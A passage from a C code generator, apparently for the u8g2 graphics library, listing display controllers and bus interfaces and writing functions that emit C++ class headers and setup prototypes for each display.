}
},
{
"st7528", 20, 13, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "nhd_c160100" },
{ NULL }
}
},
{
"st7528", 20, 13, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "nhd_c160100" },
{ NULL }
}
},
#ifdef NOTUSED
{
"uc1617", 16, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx128128" },
{ NULL }
}
},
{
"uc1617", 16, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_uc16xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx128128" },
{ NULL }
}
},
#endif
{
"st7565", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "ea_dogm128" },
{ "lm6063" }, /* https://github.com/olikraus/u8g2/issues/893 */
{ "64128n" },
{ "zolen_128x64" },
{ "lm6059" },
{ "lx12864" },
{ "erc12864" },
{ "erc12864_alt" }, /* issue 790 */
{ "nhd_c12864" },
{ "jlx12864" },
{ NULL }
},
},
{
"st7565", 16, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "nhd_c12832" },
{ NULL }
}
},
{
"uc1601", 16, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x32" },
{ NULL }
}
},
{
"uc1601", 16, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_uc16xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x32" },
{ NULL }
}
},
{
"st7565", 17, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "ea_dogm132" },
{ NULL }
}
},
{
"st7567", 17, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "pi_132x64" },
{ NULL }
}
},
{
"st7567", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx12864" },
{ "enh_dg128064" },
{ "enh_dg128064i" },
{ "os12864" },
{ NULL }
}
},
{
"st7567", 8, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "64x32" },
{ NULL }
}
},
{
"st7567", 8, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "64x32" },
{ NULL }
}
},
{
"st7586s", 48, 17, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_011", "", COM_4WSPI,
"", /* is_generate_u8g2_class= */ 1,
{
{ "s028hn118a" },
{ NULL }
},
},
{
"st7586s", 30, 20, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "erc240160" },
{ NULL }
},
},
{
"st7588", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx12864" },
{ NULL }
},
},
{ /* the ST7588 has the same I2C protocol as the SSD13xx */
"st7588", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx12864" },
{ NULL }
}
},
{
"st75256", 32, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx256128" },
{ "wo256x128" },
{ NULL }
},
},
/* the ST75256 has the same I2C protocol as the SSD13xx, BUT: for arguments have the data bit set!!!! */
/* this means, we need to implement a u8x8_cad_ssd13xx_i2c procedure with cad 011 functionality */
/* done: u8x8_cad_st75256_i2c */
{
"st75256", 32, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_st75256_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx256128" },
{ "wo256x128" },
{ NULL }
}
},
{
"st75256", 32, 20, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx256160" },
{ "jlx256160m" },
{ "jlx256160_alt" },
{ NULL }
},
},
/* the ST75256 has the same I2C protocol as the SSD13xx, BUT: for arguments have the data bit set!!!! */
/* this means, we need to implement a u8x8_cad_ssd13xx_i2c procedure with cad 011 functionality */
/* done: u8x8_cad_st75256_i2c */
{
"st75256", 32, 20, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_st75256_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx256160" },
{ "jlx256160m" },
{ "jlx256160_alt" },
{ NULL }
}
},
{
"st75256", 30, 20, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx240160" },
{ NULL }
},
},
{
"st75256", 30, 20, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_st75256_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx240160" },
{ NULL }
}
},
{
"st75256", 32, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx25664" },
{ NULL }
},
},
{
"st75256", 32, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_st75256_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx25664" },
{ NULL }
}
},
{
"st75256", 22, 13, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx172104" },
{ NULL }
},
},
{
"st75256", 22, 13, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_st75256_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx172104" },
{ NULL }
},
},
{
"st75256", 24, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx19296" },
{ NULL }
},
},
{
"st75256", 24, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_st75256_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx19296" },
{ NULL }
},
},
{
"st75320", 40, 30, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx320240" },
{ NULL }
},
},
{
"st75320", 40, 30, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_st75256_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx320240" },
{ NULL }
},
},
{
"nt7534", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "tg12864r" },
{ NULL }
}
},
{
"ist3020", 24, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "erc19264" },
{ NULL }
}
},
{
"ist7920", 16, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x128" },
{ NULL }
}
},
{
"sbn1661", 16, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_SED1520,
"", /* is_generate_u8g2_class= */ 1,
{
{ "122x32" },
{ NULL }
},
},
{
"sed1520", 16, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_SED1520,
"", /* is_generate_u8g2_class= */ 1,
{
{ "122x32" },
{ NULL }
},
},
{
"ks0108", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_KS0108,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x64" },
{ NULL }
},
},
{
"ks0108", 24, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_KS0108,
"", /* is_generate_u8g2_class= */ 1,
{
{ "erm19264" },
{ NULL }
},
},
{
"lc7981", 20, 10, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_100", "", COM_6800,
"U8x8 not supported, no powerdown, no HW flip, no constrast", /* is_generate_u8g2_class= */ 1,
{
{ "160x80" },
{ NULL }
}
},
{
"lc7981", 20, 20, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_100", "", COM_6800,
"U8x8 not supported, no powerdown, no HW flip, no constrast", /* is_generate_u8g2_class= */ 1,
{
{ "160x160" },
{ NULL }
}
},
{
"lc7981", 30, 16, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_100", "", COM_6800,
"U8x8 not supported, no powerdown, no HW flip, no constrast", /* is_generate_u8g2_class= */ 1,
{
{ "240x128" },
{ NULL }
}
},
{
"lc7981", 30, 8, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_100", "", COM_6800,
"U8x8 not supported, no powerdown, no HW flip, no constrast", /* is_generate_u8g2_class= */ 1,
{
{ "240x64" },
{ NULL }
}
},
{
"t6963", 30, 16, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_100", "", COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "240x128" },
{ NULL }
}
},
{
"t6963", 30, 8, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_100", "", COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "240x64" },
{ NULL }
}
},
{
"t6963", 32, 8, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_100", "", COM_8080,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "256x64" },
{ NULL }
}
},
{
"t6963", 16, 8, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_100", "", COM_8080,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "128x64" },
{ "128x64_alt" },
{ NULL }
}
},
{
"t6963", 20, 10, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_100", "", COM_8080,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "160x80" },
{ NULL }
}
},
{
"ssd1322", 32, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"Requires U8G2_16BIT (see u8g2.h)", /* is_generate_u8g2_class= */ 1,
{
{ "nhd_256x64" },
{ NULL }
}
},
{
"ssd1322", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "nhd_128x64" },
{ NULL }
}
},
{
"ssd1606", 22, 9, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI,
"Partly supported by U8x8, no HW flip, no contrast setting", /* is_generate_u8g2_class= */ 1,
{
{ "172x72" },
{ NULL }
}
},
{
"ssd1607", 25, 25, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI,
"Partly supported by U8x8, no HW flip, no contrast setting, v2 includes an optimized LUT", /* is_generate_u8g2_class= */ 1,
{
{ "200x200" },
{ "gd_200x200" }, // GDEP015OC1
{ "ws_200x200" }, // Waveshare issue #637
{ NULL }
}
},
{
"il3820", 37, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI,
"Partly supported by U8x8, no HW flip, no contrast setting, V2 produces lesser screen-flicker", /* is_generate_u8g2_class= */ 1,
{
{ "296x128" },
{ "v2_296x128" },
{ NULL }
}
},
{
"sed1330", 30, 16, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_100", "", COM_6800|COM_8080,
"Not tested, might work for RA8835 and SED1335 also", /* is_generate_u8g2_class= */ 1,
{
{ "240x128" },
{ NULL }
}
},
{
"ra8835", 30, 16, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_100", "", COM_6800|COM_8080,
"Tested with RA8835", /* is_generate_u8g2_class= */ 1,
{
{ "nhd_240x128" },
{ NULL }
}
},
{
"ra8835", 40, 30, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_100", "", COM_6800|COM_8080,
"not tested", /* is_generate_u8g2_class= */ 1,
{
{ "320x240" },
{ NULL }
}
},
{
"max7219", 8, 1, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_empty", "", COM_4WSPI,
"", /* is_generate_u8g2_class= */ 1,
{
{ "64x8" },
{ NULL }
}
},
{
"max7219", 4, 1, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_empty", "", COM_4WSPI,
"", /* is_generate_u8g2_class= */ 1,
{
{ "32x8" },
{ NULL }
}
},
{
"max7219", 1, 1, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_empty", "", COM_4WSPI,
"", /* is_generate_u8g2_class= */ 1,
{
{ "8x8" },
{ NULL }
}
},
{
"a2printer", 48, 30, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_empty", "", COM_UART,
"", /* is_generate_u8g2_class= */ 0,
{
{ "384x240" },
{ NULL }
}
}
};
/* display_controller_list_end */
struct interface interface_list[] =
{
/* 0 */
{
"4W_SW_SPI",
"u8x8_SetPin_4Wire_SW_SPI",
"u8x8_byte_arduino_4wire_sw_spi", /* improved version over u8x8_byte_4wire_sw_spi */
"u8x8_gpio_and_delay_arduino",
"uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE",
"clock, data, cs, dc, reset",
"clock, data, cs, dc [, reset]",
"u8x8_byte_4wire_sw_spi"
},
/* 1 */
{
"4W_HW_SPI",
"u8x8_SetPin_4Wire_HW_SPI",
"u8x8_byte_arduino_hw_spi",
"u8x8_gpio_and_delay_arduino",
"uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE",
"cs, dc, reset",
"cs, dc [, reset]",
"uC specific"
},
/* 2 */
{
"6800",
"u8x8_SetPin_8Bit_6800",
"u8x8_byte_8bit_6800mode",
"u8x8_gpio_and_delay_arduino",
"uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE",
"d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset",
"d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc [, reset]",
"u8x8_byte_8bit_6800mode"
},
/* 3 */
{
"8080",
"u8x8_SetPin_8Bit_8080",
"u8x8_byte_arduino_8bit_8080mode",
"u8x8_gpio_and_delay_arduino",
"uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE",
"d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset",
"d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc [, reset]",
"u8x8_byte_8bit_8080mode"
},
/* 4 */
{
"3W_SW_SPI",
"u8x8_SetPin_3Wire_SW_SPI",
"u8x8_byte_arduino_3wire_sw_spi",
"u8x8_gpio_and_delay_arduino",
"uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE",
"clock, data, cs, reset",
"clock, data, cs [, reset]",
"u8x8_byte_3wire_sw_spi"
},
/* 5 */
{
"3W_HW_SPI",
"u8x8_SetPin_3Wire_HW_SPI",
"u8x8_byte_arduino_3wire_hw_spi",
"u8x8_gpio_and_delay_arduino",
"uint8_t cs, uint8_t reset = U8X8_PIN_NONE",
"cs, reset",
"cs [, reset]",
"uC specific"
},
/* 6 */
{
"SW_I2C",
"u8x8_SetPin_SW_I2C",
"u8x8_byte_arduino_sw_i2c" /* u8x8_byte_sw_i2c */,
"u8x8_gpio_and_delay_arduino",
"uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE",
"clock, data, reset",
"clock, data [, reset]",
"u8x8_byte_sw_i2c" /* u8x8_byte_sw_i2c */
},
/* 7 */
{
"HW_I2C",
"u8x8_SetPin_HW_I2C",
"u8x8_byte_arduino_hw_i2c",
"u8x8_gpio_and_delay_arduino",
"uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE",
"reset, clock, data",
"[reset [, clock, data]]",
"uC specific"
},
/* 8 */
{
/* ST7920 */ "SW_SPI",
"u8x8_SetPin_3Wire_SW_SPI", /* use the 3 wire interface, because the DC is not used */
"u8x8_byte_arduino_4wire_sw_spi", /* improved version over u8x8_byte_4wire_sw_spi */
"u8x8_gpio_and_delay_arduino",
"uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE",
"clock, data, cs, reset",
"clock, data, cs [, reset]",
"u8x8_byte_4wire_sw_spi", /* "u8x8_byte_st7920_sw_spi" */
},
/* 9 */
{
/* ST7920 */ "HW_SPI",
"u8x8_SetPin_ST7920_HW_SPI",
"u8x8_byte_arduino_hw_spi",
"u8x8_gpio_and_delay_arduino",
"uint8_t cs, uint8_t reset = U8X8_PIN_NONE",
"cs, reset",
"cs [, reset]",
"uC specific"
},
/* 10 */
{
"2ND_HW_I2C",
"u8x8_SetPin_HW_I2C",
"u8x8_byte_arduino_2nd_hw_i2c",
"u8x8_gpio_and_delay_arduino",
"uint8_t reset = U8X8_PIN_NONE",
"reset",
"[reset]",
"uC specific"
},
/* 11 */
{
"",
"u8x8_SetPin_KS0108",
"u8x8_byte_arduino_ks0108",
"u8x8_gpio_and_delay_arduino",
"uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE",
"d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset",
"d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2 [, reset]",
"u8x8_byte_ks0108"
},
/* 12 */
{
"2ND_4W_HW_SPI",
"u8x8_SetPin_4Wire_HW_SPI",
"u8x8_byte_arduino_2nd_hw_spi",
"u8x8_gpio_and_delay_arduino",
"uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE",
"cs, dc, reset",
"cs, dc [, reset]",
"uC specific"
},
/* 13 */
{
"",
"u8x8_SetPin_SED1520",
"u8x8_byte_sed1520",
"u8x8_gpio_and_delay_arduino",
"uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset",
"d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset",
"d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset",
"u8x8_byte_sed1520"
},
/* 14 */
{
/* ST7920 */ "2ND_HW_SPI",
"u8x8_SetPin_ST7920_HW_SPI",
"u8x8_byte_arduino_2nd_hw_spi",
"u8x8_gpio_and_delay_arduino",
"uint8_t cs, uint8_t reset = U8X8_PIN_NONE",
"cs, reset",
"cs [, reset]",
"uC specific"
},
};
/*===========================================*/
#define STR_MAX 1024
char *str_list[STR_MAX];
int str_cnt = 0;
int str_exists(const char *s)
{
int i;
for( i = 0; i < str_cnt; i++ )
{
if ( strcmp(str_list[i], s) == 0 )
return 1;
}
return 0;
}
void str_add(const char *s)
{
if ( str_exists(s) )
return;
if ( str_cnt >= STR_MAX )
{
error(1,0, "max number of strings reached");
}
else
{
str_list[str_cnt] = strdup(s);
str_cnt++;
}
}
/*===========================================*/
/*
copy file from source_file_name to dest_file_name
*/
int file_copy(const char *source_file_name, const char *dest_file_name)
{
int ch;
FILE *source_fp;
FILE *dest_fp;
source_fp = fopen(source_file_name, "r");
dest_fp = fopen(dest_file_name, "w");
if ( source_fp == NULL || dest_fp == NULL )
return 0;
while( ( ch = fgetc(source_fp) ) != EOF )
fputc(ch, dest_fp);
fclose(source_fp);
fclose(dest_fp);
return 1;
}
/*
Insert file "insertname" between lines "start_line" and "end_line" of file "filename"
*/
int insert_into_file(const char *filename, const char *insertname, const char *start_line, const char *end_line)
{
int ch;
static char line[1024*4];
const char *tmpname = "tmp.h";
FILE *source_fp;
FILE *dest_fp;
FILE *insert_fp;
if ( file_copy(filename, tmpname) == 0 )
return 0;
source_fp = fopen(tmpname, "r");
dest_fp = fopen(filename, "w");
insert_fp = fopen(insertname, "r");
if ( source_fp == NULL || dest_fp == NULL || insert_fp == NULL )
return 0;
for(;;)
{
if ( fgets(line, 1024*4, source_fp) == NULL )
break;
if ( strncmp(line, start_line, strlen(start_line)) == 0 )
{
fputs(line, dest_fp);
while( ( ch = fgetc(insert_fp) ) != EOF )
fputc(ch, dest_fp);
fputs("\n", dest_fp);
for(;;)
{
if ( fgets(line, 1024*4, source_fp) == NULL )
break;
if ( strncmp(line, end_line, strlen(end_line)) == 0 )
{
fputs(line, dest_fp);
break;
}
}
}
else
{
fputs(line, dest_fp);
}
}
fclose(insert_fp);
fclose(source_fp);
fclose(dest_fp);
unlink(tmpname);
printf("patched %s\n", filename);
return 1;
}
/*===========================================*/
char *strlowercase(const char *s)
{
int i, len = strlen(s);
static char buf[1024];
for( i = 0; i <= len; i++ )
buf[i] = tolower(s[i]);
return buf;
}
char *struppercase(const char *s)
{
int i, len = strlen(s);
static char buf[1024];
for( i = 0; i <= len; i++ )
buf[i] = toupper(s[i]);
return buf;
}
/*===========================================*/
FILE *buf_code_fp;
FILE *buf_header_fp;
FILE *setup_code_fp;
FILE *setup_header_fp;
FILE *u8g2_cpp_header_fp;
FILE *u8x8_cpp_header_fp;
FILE *u8x8_setup_c_md_fp;
FILE *u8x8_setup_cpp_md_fp;
FILE *u8g2_setup_c_md_fp;
FILE *u8g2_setup_cpp_md_fp;
const char *get_setup_function_name(int controller_idx, int display_idx, const char *postfix)
{
static char s[1024];
strcpy(s, "u8g2_Setup_");
strcat(s, strlowercase(controller_list[controller_idx].name));
strcat(s, "_");
if ( controller_list[controller_idx].cad_shortname[0] != '\0' )
{
strcat(s, strlowercase(controller_list[controller_idx].cad_shortname));
strcat(s, "_");
}
strcat(s, strlowercase(controller_list[controller_idx].display_list[display_idx].name));
strcat(s, "_");
strcat(s, postfix);
return s;
}
void do_setup_prototype(FILE *fp, int controller_idx, int display_idx, const char *postfix)
{
/*
fprintf(fp, "void u8g2_Setup_");
fprintf(fp, "%s_", strlowercase(controller_list[controller_idx].name));
fprintf(fp, "%s_", strlowercase(controller_list[controller_idx].display_list[display_idx].name));
fprintf(fp, "%s(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)", postfix);
*/
fprintf(fp, "void %s", get_setup_function_name(controller_idx, display_idx, postfix));
fprintf(fp, "(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)");
}
/*===========================================*/
/*
class U8X8_SSD1306_128X64_4W_SW_SPI : public U8X8 {
public: U8X8_SSD1306_128X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {
u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_4wire_sw_spi, u8x8_gpio_and_delay_arduino);
u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);
}
}
*/
void do_u8x8_header(int controller_idx, int display_idx, int interface_idx)
{
FILE *fp = u8x8_cpp_header_fp;
fprintf(fp, "class U8X8_");
fprintf(fp, "%s_", struppercase(controller_list[controller_idx].name));
fprintf(fp, "%s", struppercase(controller_list[controller_idx].display_list[display_idx].name));
if ( interface_list[interface_idx].interface_name[0] != '\0' )
fprintf(fp, "_%s", struppercase(interface_list[interface_idx].interface_name));
fprintf(fp, " : public U8X8 {\n");
fprintf(fp, " public: ");
fprintf(fp, "U8X8_");
fprintf(fp, "%s_", struppercase(controller_list[controller_idx].name));
fprintf(fp, "%s", struppercase(controller_list[controller_idx].display_list[display_idx].name));
if ( interface_list[interface_idx].interface_name[0] != '\0' )
fprintf(fp, "_%s", struppercase(interface_list[interface_idx].interface_name));
fprintf(fp, "(%s) : U8X8() {\n", interface_list[interface_idx].pins_with_type);
fprintf(fp, " ");
fprintf(fp, "u8x8_Setup(getU8x8(), u8x8_d_");
fprintf(fp, "%s_", strlowercase(controller_list[controller_idx].name));
fprintf(fp, "%s, ", strlowercase(controller_list[controller_idx].display_list[display_idx].name));
fprintf(fp, "%s, ", strlowercase(controller_list[controller_idx].cad));
fprintf(fp, "%s, ", interface_list[interface_idx].arduino_com_procedure);
fprintf(fp, "%s);\n", interface_list[interface_idx].arduino_gpio_procedure);
fprintf(fp, " ");
fprintf(fp, "%s(getU8x8(), ", interface_list[interface_idx].setpin_function);
fprintf(fp, "%s);\n", interface_list[interface_idx].pins_plain);
fprintf(fp, " }\n");
fprintf(fp, "};\n");
}
/*
class U8G2_SSD1306_128x64_NONAME_1_SW_SPI : public U8G2
{
public:
U8G2_SSD1306_128x64_NONAME_1_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE)
{
u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_4wire_sw_spi, u8x8_gpio_and_delay_arduino,);
u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);
}
};
*/
void do_display_interface(int controller_idx, int display_idx, const char *postfix, int interface_idx)
{
FILE *fp = u8g2_cpp_header_fp;
printf(" %s %s", postfix, interface_list[interface_idx].interface_name);
fprintf(fp, "class U8G2_");
fprintf(fp, "%s_", struppercase(controller_list[controller_idx].name));
fprintf(fp, "%s_", struppercase(controller_list[controller_idx].display_list[display_idx].name));
fprintf(fp, "%s", struppercase(postfix));
if ( interface_list[interface_idx].interface_name[0] != '\0' )
fprintf(fp, "_%s", struppercase(interface_list[interface_idx].interface_name));
fprintf(fp, " : public U8G2 {\n");
fprintf(fp, " public: ");
fprintf(fp, "U8G2_");
fprintf(fp, "%s_", struppercase(controller_list[controller_idx].name));
fprintf(fp, "%s_", struppercase(controller_list[controller_idx].display_list[display_idx].name));
fprintf(fp, "%s", struppercase(postfix));
if ( interface_list[interface_idx].interface_name[0] != '\0' )
fprintf(fp, "_%s", struppercase(interface_list[interface_idx].interface_name));
fprintf(fp, "(const u8g2_cb_t *rotation, ");
fprintf(fp, "%s) : U8G2() {\n", interface_list[interface_idx].pins_with_type);
fprintf(fp, " ");
/*
fprintf(fp, "u8g2_Setup_");
fprintf(fp, "%s_", strlowercase(controller_list[controller_idx].name));
fprintf(fp, "%s_", strlowercase(controller_list[controller_idx].display_list[display_idx].name));
fprintf(fp, "%s", postfix);
*/
fprintf(fp, "%s", get_setup_function_name(controller_idx, display_idx, postfix));
fprintf(fp, "(&u8g2, ");
fprintf(fp, "rotation, ");
fprintf(fp, "%s, ", interface_list[interface_idx].arduino_com_procedure);
fprintf(fp, "%s);\n", interface_list[interface_idx].arduino_gpio_procedure);
fprintf(fp, " ");
fprintf(fp, "%s(getU8x8(), ", interface_list[interface_idx].setpin_function);
fprintf(fp, "%s);\n", interface_list[interface_idx].pins_plain);
fprintf(fp, " }\n");
fprintf(fp, "};\n");
if ( strcmp(postfix, "1") == 0 )
do_u8x8_header(controller_idx, display_idx, interface_idx);
}
/*===========================================*/
void do_display(int controller_idx, int display_idx, const char *postfix)
{
do_setup_prototype(setup_header_fp, controller_idx, display_idx, postfix);
fprintf(setup_header_fp, ";\n");
